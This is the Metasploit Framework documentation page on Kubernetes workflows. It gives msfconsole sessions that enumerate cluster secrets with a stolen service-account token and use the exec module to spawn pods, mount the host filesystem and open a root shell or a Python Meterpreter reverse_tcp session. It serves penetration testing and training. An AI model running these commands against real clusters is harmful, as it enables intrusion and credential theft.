jenkins-metasploit
105 lines
58 KiB
HTML
105 lines
58 KiB
HTML
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class="nav-list-link">LDAP</a><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/pentesting/active-directory/" class="nav-list-link">Active Directory</a><ul class="nav-list"><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/pentesting/active-directory/ad-certificates/" class="nav-list-link">AD CS</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/ad-certificates/overview.html" class="nav-list-link">Overview</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html" class="nav-list-link">Attacking AD CS ESC Vulnerabilities Using Metasploit</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/ad-certificates/ldap_esc_vulnerable_cert_finder.html" class="nav-list-link">Vulnerable cert finder</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/ad-certificates/ad_cs_cert_template.html" class="nav-list-link">Manage certificate templates</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/ad-certificates/icpr_cert.html" class="nav-list-link">Request certificates</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/pentesting/active-directory/kerberos/" class="nav-list-link">Kerberos</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/overview.html" class="nav-list-link">Overview</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/service_authentication.html" class="nav-list-link">Authenticating to SMB/WinRM/etc</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/kerberos_login.html" class="nav-list-link">Kerberos login enumeration and bruteforcing</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/get_ticket.html" class="nav-list-link">Get Ticket granting tickets and service tickets</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/ticket_converter.html" class="nav-list-link">Converting kirbi and ccache files</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/forge_ticket.html" class="nav-list-link">Forging tickets</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/inspect_ticket.html" class="nav-list-link">Inspecting tickets</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/kerberoasting.html" class="nav-list-link">Kerberoasting</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/keytab.html" class="nav-list-link">Keytab support and decrypting wireshark traffic</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/rbcd.html" class="nav-list-link">Resource-based constrained delegation (RBCD)</a><li class="nav-list-item active"><a href="/docs/pentesting/active-directory/kerberos/unconstrained_delegation.html" class="nav-list-link">Unconstrained delegation</a></ul></ul></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/" class="nav-list-link">Using Metasploit</a><ul class="nav-list"><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/getting-started/" class="nav-list-link">Getting Started</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/getting-started/nightly-installers.html" class="nav-list-link">Nightly Installers</a><li class="nav-list-item active"><a href="/docs/using-metasploit/getting-started/reporting-a-bug.html" class="nav-list-link">Reporting a Bug</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/basics/" class="nav-list-link">Basics</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/using-metasploit.html" class="nav-list-link">Running modules</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/how-to-use-a-metasploit-module-appropriately.html" class="nav-list-link">How to use a Metasploit module appropriately</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/how-payloads-work.html" class="nav-list-link">How payloads work</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/module-documentation.html" class="nav-list-link">Module Documentation</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/how-to-use-a-reverse-shell-in-metasploit.html" class="nav-list-link">How to use a reverse shell in Metasploit</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/how-to-use-msfvenom.html" class="nav-list-link">How to use msfvenom</a><li class="nav-list-item active"><a href="/docs/using-metasploit/basics/managing-sessions.html" class="nav-list-link">Managing Sessions</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/intermediate/" class="nav-list-link">Intermediate</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/metasploit-database-support.html" class="nav-list-link">Database Support</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/evading-anti-virus.html" class="nav-list-link">Evading Anti Virus</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/exploit-ranking.html" class="nav-list-link">Exploit Ranking</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/hashes-and-password-cracking.html" class="nav-list-link">Hashes and Password Cracking</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/how-to-use-plugins.html" class="nav-list-link">Metasploit Plugins</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/payload-uuid.html" class="nav-list-link">Payload UUID</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/pivoting-in-metasploit.html" class="nav-list-link">Pivoting in Metasploit</a><li class="nav-list-item active"><a href="/docs/using-metasploit/intermediate/running-private-modules.html" class="nav-list-link">Running Private Modules</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/advanced/" class="nav-list-link">Advanced</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/how-to-configure-dns.html" class="nav-list-link">How to Configure DNS</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/metasploit-web-service.html" class="nav-list-link">Metasploit Web Service</a><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/advanced/meterpreter/" class="nav-list-link">Meterpreter</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter.html" class="nav-list-link">Overview</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-configuration.html" class="nav-list-link">Configuration</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/debugging-dead-meterpreter-sessions.html" class="nav-list-link">Debugging Dead Meterpreter Sessions</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html" class="nav-list-link">Debugging Meterpreter Sessions</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-executebof-command.html" class="nav-list-link">ExecuteBof Command</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-http-communication.html" class="nav-list-link">HTTP Communication</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/how-to-get-started-with-writing-a-meterpreter-script.html" class="nav-list-link">How to get started with writing a Meterpreter script</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-paranoid-mode.html" class="nav-list-link">Paranoid Mode</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/powershell-extension.html" class="nav-list-link">Powershell Extension</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/python-extension.html" class="nav-list-link">Python Extension</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-reg-command.html" class="nav-list-link">Reg Command</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-reliable-network-communication.html" class="nav-list-link">Reliable Network Communication</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-sleep-control.html" class="nav-list-link">Sleep Control</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-stageless-mode.html" class="nav-list-link">Stageless Mode</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/the-ins-and-outs-of-http-and-https-communications-in-meterpreter-and-metasploit-stagers.html" class="nav-list-link">The ins and outs of HTTP and HTTPS communications in Meterpreter and Metasploit Stagers</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-timeout-control.html" class="nav-list-link">Timeout Control</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-transport-control.html" class="nav-list-link">Transport Control</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-unicode-support.html" class="nav-list-link">Unicode Support</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/meterpreter/meterpreter-wishlist.html" class="nav-list-link">Wishlist</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/advanced/RPC/" class="nav-list-link">RPC</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/RPC/how-to-use-metasploit-json-rpc.html" class="nav-list-link">How to use Metasploit JSON RPC</a><li class="nav-list-item active"><a href="/docs/using-metasploit/advanced/RPC/how-to-use-metasploit-messagepack-rpc.html" class="nav-list-link">How to use Metasploit Messagepack RPC</a></ul></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/other/" class="nav-list-link">Other</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/other/how-to-use-metasploit-mcp-server.html" class="nav-list-link">How to use Metasploit MCP Server</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/how-to-use-metasploit-with-ngrok.html" class="nav-list-link">How to use Metasploit with ngrok</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/how-to-use-the-favorite-command.html" class="nav-list-link">How to use the Favorite command</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/information-about-unmet-browser-exploit-requirements.html" class="nav-list-link">Information About Unmet Browser Exploit Requirements</a><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/using-metasploit/other/oracle-support/" class="nav-list-link">Oracle Support</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/using-metasploit/other/oracle-support/how-to-get-oracle-support-working-with-kali-linux.html" class="nav-list-link">How to get Oracle Support working with Kali Linux</a><li class="nav-list-item active"><a href="/docs/using-metasploit/other/oracle-support/oracle-usage.html" class="nav-list-link">Oracle Usage</a></ul><li class="nav-list-item active"><a href="/docs/using-metasploit/other/why-cve-is-not-available.html" class="nav-list-link">Why CVE is not available</a></ul></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/development/" class="nav-list-link">Development</a><ul class="nav-list"><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/development/get-started/" class="nav-list-link">Get Started</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/development/get-started/contributing-to-metasploit.html" class="nav-list-link">Contributing to Metasploit</a><li class="nav-list-item active"><a href="/docs/development/get-started/creating-your-first-pr.html" class="nav-list-link">Creating Your First PR</a><li class="nav-list-item active"><a href="/docs/development/get-started/setting-up-a-metasploit-development-environment.html" class="nav-list-link">Setting Up a Metasploit Development Environment</a><li class="nav-list-item active"><a href="/docs/development/get-started/sanitizing-pcaps.html" class="nav-list-link">Sanitizing PCAPs</a><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/development/get-started/git/" class="nav-list-link">Git</a><ul class="nav-list"><li class="nav-list-item active"><a href="/docs/development/get-started/git/git-reference-sites.html" class="nav-list-link">Git Reference Sites</a><li class="nav-list-item active"><a href="/docs/development/get-started/git/git-cheatsheet.html" class="nav-list-link">Git cheatsheet</a><li class="nav-list-item active"><a href="/docs/development/get-started/git/keeping-in-sync-with-rapid7-master.html" class="nav-list-link">Keeping in sync with rapid7 master</a><li class="nav-list-item active"><a href="/docs/development/get-started/git/remote-branch-pruning.html" class="nav-list-link">Remote Branch Pruning</a><li class="nav-list-item active"><a href="/docs/development/get-started/git/using-git.html" class="nav-list-link">Using Git</a></ul><li class="nav-list-item active"><a href="/docs/development/get-started/navigating-and-understanding-metasploits-codebase.html" class="nav-list-link">Navigating the codebase</a></ul><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/development/developing-modules/" class="nav-list-link">Developing Modules</a><ul class="nav-list"><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/development/developing-modules/guides/" class="nav-list-link">Guides</a><ul class="nav-list"><li class="nav-list-item active"><a href="#" class="nav-list-expander"><svg viewBox="0 0 24 24"><use xlink:href="#svg-arrow-right"></use></svg></a><a href="/docs/development/developing-modules/guides/scanners/" class="nav-list-link">Scanners</a><ul class="nav-list"><li class="nav-list-item active"><a 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xlink:href="#svg-search"></use></svg></label></div><div id="search-results" class="search-results"></div></div><link rel="stylesheet" href="/assets/css/main.css"><nav aria-label="Auxiliary" class="aux-nav"><ul class="aux-nav-list"><li class="aux-nav-list-item"> <a href="//github.com/rapid7/metasploit-framework" class="site-button" target="_blank" rel="noopener noreferrer" > Metasploit Framework on GitHub </a></ul></nav></div><div id="main-content-wrap" class="main-content-wrap"><nav aria-label="Breadcrumb" class="breadcrumb-nav"><ol class="breadcrumb-nav-list"><li class="breadcrumb-nav-list-item"> <a href="/docs/pentesting/">Pentesting</a><li class="breadcrumb-nav-list-item"> <span>Kubernetes</span></ol></nav><div id="main-content" class="main-content" role="main"><h2 id="kubernetes-workflows"> <a href="#kubernetes-workflows" class="anchor-heading" aria-labelledby="kubernetes-workflows"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Kubernetes Workflows</h2><p>Metasploit has modules for both exploitation and enumeration of a Kubernetes cluster. These modules can either run through a compromised docker container, or external to the cluster if the required APIs are accessible:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md">modules/auxiliary/cloud/kubernetes/enum_kubernetes</a><li><a href="https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/kubernetes/exec.md">modules/exploit/multi/kubernetes/exec</a></ul><p>In the future there may be more modules than listed here, for the full list of modules run the <code class="language-plaintext highlighter-rouge">search</code> command within msfconsole:</p><div class="language-msf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="zp">msf</span> <span class="p">></span> search kubernetes
|
||
</code></pre></div></div><h3 id="lab-environment"> <a href="#lab-environment" class="anchor-heading" aria-labelledby="lab-environment"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Lab Environment</h3><p>A tutorial for setting up a compromisable Kubernetes cluster can be found <a href="https://github.com/rapid7/metasploit-framework/tree/master/test/kubernetes">here</a></p><h3 id="kubernetes-enumeration"> <a href="#kubernetes-enumeration" class="anchor-heading" aria-labelledby="kubernetes-enumeration"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Kubernetes Enumeration</h3><p>Metasploit has support for enumerating the Kubernetes API to extract the following information:</p><ul><li>Version - Enumerate Kubernetes service version, git commit, build date, etc<li>Auth - RBAC permission information, i.e. if the token can create pods, read secrets, etc<li>Namespaces - Enumerate available namespaces<li>Pods - Enumerate currently running pods<li>Secrets - Enumerate secrets, including base64 decoding to highlight noteworthy credentials, and storing loot</ul><p>The <code class="language-plaintext highlighter-rouge">auxiliary/cloud/kubernetes/enum_kubernetes</code> can be used to pivot through the compromised container to reach an previously inaccessible Kubernetes API. In this scenario the container’s Kubernetes service token will be read from the file system, and used to authenticate with the Kubernetes API:</p><p>If you have a Meterpreter session on a compromised Kubernetes container, the module values of <code class="language-plaintext highlighter-rouge">NAMESPACE</code>, <code class="language-plaintext highlighter-rouge">TOKEN</code>, <code class="language-plaintext highlighter-rouge">RHOSTS</code> and <code class="language-plaintext highlighter-rouge">RPORT</code> module options will be gathered from the session host automatically. The <code class="language-plaintext highlighter-rouge">TOKEN</code> will be read from the mounted <code class="language-plaintext highlighter-rouge">/run/secrets/kubernetes.io/serviceaccount/token</code> file if available:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>use auxiliary/cloud/kubernetes/enum_kubernetes
|
||
run session=-1
|
||
</code></pre></div></div><p>If the Kubernetes API is publicly accessible and you have a JWT Token:</p><div class="language-msf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="zp">msf</span> <span class="p">></span> use cloud/kubernetes/enum_kubernetes
|
||
<span class="zp">msf</span> auxiliary<span class="p">(</span><span class="kc">cloud/kubernetes/enum_kubernetes</span><span class="p">)</span> <span class="p">></span> set RHOST https://kubernetes.docker.internal:6443
|
||
RHOST => https://kubernetes.docker.internal:6443
|
||
<span class="zp">msf</span> auxiliary<span class="p">(</span><span class="kc">cloud/kubernetes/enum_kubernetes</span><span class="p">)</span> <span class="p">></span> set TOKEN eyJhbGciO...
|
||
TOKEN => eyJhbGciO...
|
||
<span class="zp">msf</span> auxiliary<span class="p">(</span><span class="kc">cloud/kubernetes/enum_kubernetes</span><span class="p">)</span> <span class="p">></span> run
|
||
<span class="zs">[*]</span> Running module against 127.0.0.1
|
||
|
||
<span class="zg">[+]</span> Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"}
|
||
<span class="zg">[+]</span> Enumerating namespaces
|
||
Namespaces
|
||
==========
|
||
|
||
# name
|
||
- ----
|
||
0 default
|
||
1 kube-node-lease
|
||
2 kube-public
|
||
3 kube-system
|
||
4 kubernetes-dashboard
|
||
|
||
... etc ...
|
||
</code></pre></div></div><p>By default the <code class="language-plaintext highlighter-rouge">run</code> command will enumerate all resources available, but you can also specify which actions you would like to perform:</p><div class="language-msf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="zp">msf</span> auxiliary<span class="p">(</span><span class="kc">cloud/kubernetes/enum_kubernetes</span><span class="p">)</span> <span class="p">></span> show actions
|
||
|
||
Auxiliary actions:
|
||
|
||
Name Description
|
||
---- -----------
|
||
all enumerate all resources
|
||
auth enumerate auth
|
||
namespace enumerate namespace
|
||
namespaces enumerate namespaces
|
||
pod enumerate pod
|
||
pods enumerate pods
|
||
secret enumerate secret
|
||
secrets enumerate secrets
|
||
version enumerate version
|
||
</code></pre></div></div><p>More usage examples:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Configuration
|
||
use cloud/kubernetes/enum_kubernetes
|
||
set RHOST https://kubernetes.docker.internal:6443
|
||
set TOKEN eyJhbGciOiJSUz...
|
||
|
||
# Enumeration, filtering, and displaying information:
|
||
run
|
||
namespaces
|
||
namespaces name=kube-public
|
||
auth
|
||
auth output=json
|
||
secrets
|
||
pods
|
||
pod
|
||
pod namespace=default name=redis-7fd956df5-sbchb
|
||
pod namespace=default name=redis-7fd956df5-sbchb output=json
|
||
pod namespace=default name=redis-7fd956df5-sbchb output=table
|
||
version
|
||
</code></pre></div></div><h3 id="kubernetes-execution"> <a href="#kubernetes-execution" class="anchor-heading" aria-labelledby="kubernetes-execution"><svg viewBox="0 0 16 16" aria-hidden="true"><use xlink:href="#svg-link"></use></svg></a> Kubernetes Execution</h3><p>The <code class="language-plaintext highlighter-rouge">exploit/multi/kubernetes/exec</code> module will attempt to create a new pod in the specified namespace, as well as mounting the host’s filesystem at <code class="language-plaintext highlighter-rouge">/host_mnt</code> if the required permissions are available. This module can either use websockets for communication, similar to the <code class="language-plaintext highlighter-rouge">kubectl exec --stdin --tty</code> command, or upload a full Meterpreter payload.</p><p>If you have a Meterpreter session on a compromised Kubernetes container with the available permissions, the module values of <code class="language-plaintext highlighter-rouge">NAMESPACE</code>, <code class="language-plaintext highlighter-rouge">TOKEN</code>, <code class="language-plaintext highlighter-rouge">RHOSTS</code> and <code class="language-plaintext highlighter-rouge">RPORT</code> module options will be gathered from the session host automatically. The <code class="language-plaintext highlighter-rouge">TOKEN</code> will be read from the mounted <code class="language-plaintext highlighter-rouge">/run/secrets/kubernetes.io/serviceaccount/token</code> file if available:</p><div class="language-msf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> set TARGET Interactive\ WebSocket
|
||
TARGET => Interactive WebSocket
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> run RHOST="" RPORT="" POD="" SESSION=-1
|
||
|
||
<span class="zs">[*]</span> Routing traffic through session: 1
|
||
<span class="zg">[+]</span> Kubernetes service host: 10.96.0.1:443
|
||
<span class="zs">[*]</span> Using image: busybox
|
||
<span class="zg">[+]</span> Pod created: burhgvzc
|
||
<span class="zs">[*]</span> Waiting for the pod to be ready...
|
||
<span class="zg">[+]</span> Successfully established the WebSocket
|
||
<span class="zs">[*]</span> Found shell.
|
||
<span class="zs">[*]</span> Command shell session 2 opened (172.17.0.31:59437 -> 10.96.0.1:443) at 2021-10-01 10:05:57 -0400
|
||
|
||
id
|
||
uid=0(root) gid=0(root) groups=10(wheel)
|
||
pwd
|
||
/
|
||
</code></pre></div></div><p>If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the <code class="language-plaintext highlighter-rouge">thinkphp-67f7c88cc9-tgpfh</code> pod:</p><div class="language-msf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="zp">msf</span> <span class="p">></span> use exploit/multi/kubernetes/exec
|
||
<span class="zs">[*]</span> Using configured payload python/meterpreter/reverse_tcp
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> set TOKEN eyJhbGciOiJSUzI1...
|
||
TOKEN => eyJhbGciOiJSUzI1...
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> set POD thinkphp-67f7c88cc9-tgpfh
|
||
POD => thinkphp-67f7c88cc9-tgpfh
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> set RHOSTS 192.168.159.31
|
||
RHOSTS => 192.168.159.31
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> set TARGET Python
|
||
TARGET => Python
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> set PAYLOAD python/meterpreter/reverse_tcp
|
||
PAYLOAD => python/meterpreter/reverse_tcp
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span> run
|
||
|
||
<span class="zs">[*]</span> Started reverse TCP handler on 192.168.159.128:4444
|
||
<span class="zs">[*]</span> Sending stage (39736 bytes) to 192.168.159.31
|
||
<span class="zs">[*]</span> Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:59234) at 2021-10-01 09:55:00 -0400
|
||
|
||
<span class="zp">meterpreter</span> <span class="p">></span> getuid
|
||
Server username: root
|
||
<span class="zp">meterpreter</span> <span class="p">></span> sysinfo
|
||
Computer : thinkphp-67f7c88cc9-tgpfh
|
||
OS : Linux 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021
|
||
Architecture : x64
|
||
Meterpreter : python/linux
|
||
<span class="zp">meterpreter</span> <span class="p">></span> background
|
||
<span class="zs">[*]</span> Backgrounding session 1...
|
||
<span class="zp">msf</span> exploit<span class="p">(</span><span class="kc">multi/kubernetes/exec</span><span class="p">)</span> <span class="p">></span>
|
||
</code></pre></div></div><hr><footer><p><a href="#top" id="back-to-top">Back to top</a></p><p class="text-small text-grey-dk-000 mb-0"> <a href="https://github.com/rapid7/metasploit-framework/tree/master/docs/metasploit-framework.wiki/Metasploit-Guide-Kubernetes.md" id="edit-this-page">Edit this page on GitHub</a></p></footer></div></div><div class="search-overlay"></div></div><script type="text/javascript" src="/assets/js/toggle_mode.js"></script> <script> var config = { theme: 'default', logLevel: 'fatal', securityLevel: 'strict', startOnLoad: true, arrowMarkerAbsolute: false, er: { diagramPadding: 20, layoutDirection: 'TB', minEntityWidth: 100, minEntityHeight: 75, entityPadding: 15, stroke: 'gray', fill: 'honeydew', fontSize: 12, useMaxWidth: true, }, flowchart:{ diagramPadding: 8, htmlLabels: true, curve: 'basis', }, sequence: { diagramMarginX: 50, diagramMarginY: 10, actorMargin: 50, width: 150, height: 65, boxMargin: 10, boxTextMargin: 5, noteMargin: 10, messageMargin: 35, messageAlign: 'center', mirrorActors: true, bottomMarginAdj: 1, useMaxWidth: true, rightAngles: false, showSequenceNumbers: false, }, gantt: { titleTopMargin: 25, barHeight: 20, barGap: 4, topPadding: 50, leftPadding: 75, fontSize: 11, gridLineStartPadding: 35, fontFamily: '\'Open Sans\', sans-serif', numberSectionStyles: 4, axisFormat: '%Y-%m-%d', topAxis: false, }, }; mermaid.initialize(config); window.mermaid.init(undefined, document.querySelectorAll('.language-mermaid')); </script>
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